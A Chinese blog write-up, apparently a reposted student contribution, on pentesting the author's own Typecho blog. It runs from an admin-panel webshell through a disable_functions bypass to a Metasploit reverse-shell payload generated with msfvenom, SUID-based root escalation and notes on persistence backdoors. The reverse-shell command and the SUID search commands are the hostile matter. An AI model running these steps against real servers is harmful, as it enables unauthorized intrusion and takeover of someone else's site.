0x00 起因
-
4月来到学校,挖到某src的getshell漏洞,需要nc反弹shell,由于校园网的某些原因无法连接到vps,便想对自己的博客进行渗透测试,最后成功getshell,以下内容在本地测试,web方面漏洞及利用与真实博客相同,内网提权有些许区别。 -
本文来自网安学弟的一篇投稿、
0x01 漏洞环境
我博客使用的源码时是Typecho1.2.0版本,也就是官方最新版。
主机使用的是:Ubuntu Server 21.10
web环境使用的是宝塔免费版7.9.0(php7.2)ok,该交代都交代了,直接开始测试。
0x02 渗透测试-代码执行
这里直接进入后台,emmm,不要问怎么进入后台,问就是我是博主....,其实想要获取账号密码各位师傅的手段肯定比我强.....比如什么弱口令,社工等等。
进入后台后,找到外观-编辑外观的地方,
当时我的感觉是直接写一句话木马应该差不多吧....,我们直接尝试一下,用burp拦截看一下数据包:
在线url解码:
可以看到我们的shell在前段是没有过滤的,那么我们用蚁剑连一下试试:
........无语,这么简单...? 这里说一下我之前踩的坑...
当时没注意,直接在里面写了,全然没有注意到在外面还有一个。
0x03 绕过disable_functions。
众所周知,宝塔无论是php5还是php7都是会开启disable_functions的,何况这是php7呢,尝试执行命令:emmm, 这里我的宝塔是没有装waf的(没钱),那么就是可以绕过的。直接在蚁剑的插件商店下载bypass_disable_functions的插件。
这里我的是已经安装过的
由于环境是php7的,那么我们选择时,就选择php7的bypass模块。最后发现该模块可以:
其实这里还有一个php5和php7都可以的模块:
该模块,使用的是PHP-FMP,简单说一下,FPM是Fastcgi的协议解析器,Web服务器使用CGI协议封装好用户的请求发送给FPM,PM按照CGI的协议将TCP流解析成真正的数据。详细请百度。使用该模块需要知道FMP地址,不同解析器下,可能不同,在apache中间件下,该路径在:/www/server/php/72/etc/php-fpm.conf
php版本不同,需要改一下路径。
将该地址复制下来,等下要用,这里提一下小细节,shell工具可以使用哥斯拉,自带了bypass_open_basedir模块,可以绕过限制路径的问题,防止无法跨目录。直接执行:
然后访问根目录下的.antproxy.php,密码不变
可以看到执行成功:
在实际应用中,到这一步就需要权限维持了,多加几个后面或者注入内存马,这里不做演示。
0x04 shell转移到msf
到这里就需咋们的msf登场了。如果是在真实环境下,msf的流量需要做混淆的,由于这里是实验所以不做处理。
直接在kali生成elf文件。(冰蝎哥斯拉等,可以与msf或者cs联动,但是还是建议上传elf文件,因为shell转移到msf后,无法执行命令....,而蚁剑这个是重新生成的一个无视disable_functions的shell。当然它们也可以,但是还要设置端口等等,我懒所以选择直接生成elf,由于我没有waf,不考虑免杀问题。
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168。80.132 LPORT=6666 -f elf > shell.elf
使用蚁剑文件管理上传elf文件,并在msf设置监听,在蚁剑上给shell.elf执行权限。
chmod +x shell.elf
然后执行:
shell.elf
ok,结束,进入提取。
0x05 提权-root
在我真实vps上是有「CVE-2022-0847」这个漏洞的,但是由于演示的主机无法使用,所以不做演示。
这里推荐一个项目,自动根据linux版本,寻找可能存在的漏洞。
mzet-/linux-exploit-suggester: Linux privilege escalation auditing tool (github.com)
直接将.sh文件上传到服务器上,直接运行。
准确性不高,但是都可以尝试,我这里全部利用失败,当我一筹莫展是时,想到了suid提权,由于我这个主机一般跑脚本用的,所以之前为了方便设置了好几个suid权限的命令, 使用该命令查找suid:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
三选一:
具体suid提权请百度:这里使用bash提权到root:查看当前权限:
使用bash提取:
可以看到根目录1.txt是root创建的文件,我们尝试将其改为2.txt
ok到这里也就提权到root了,那么接下来就是权限维持了,比如计划任务反弹,第三方漏洞等等都可以.....
0x06 结尾:
此次测试较为简单,但是中间还是有很多坑,其中为节省时间所以有很多没有讲出来,有兴趣的师傅可以自己尝试一下。
关注及时推送最新安全威胁资讯!
「由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,EXP 与 POC 仅仅只供对已授权的目标使用测试,对未授权目标的测试本文库不承担责任,均由本人自行承担。本文库中的漏洞均为公开的漏洞收集,若文库中的漏洞出现敏感内容产生了部分影响,请及时联系作者删除漏洞,望师傅们谅解」
原文始发于微信公众号(Gaobai文库):记一次对自己博客的渗透测试到getshell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论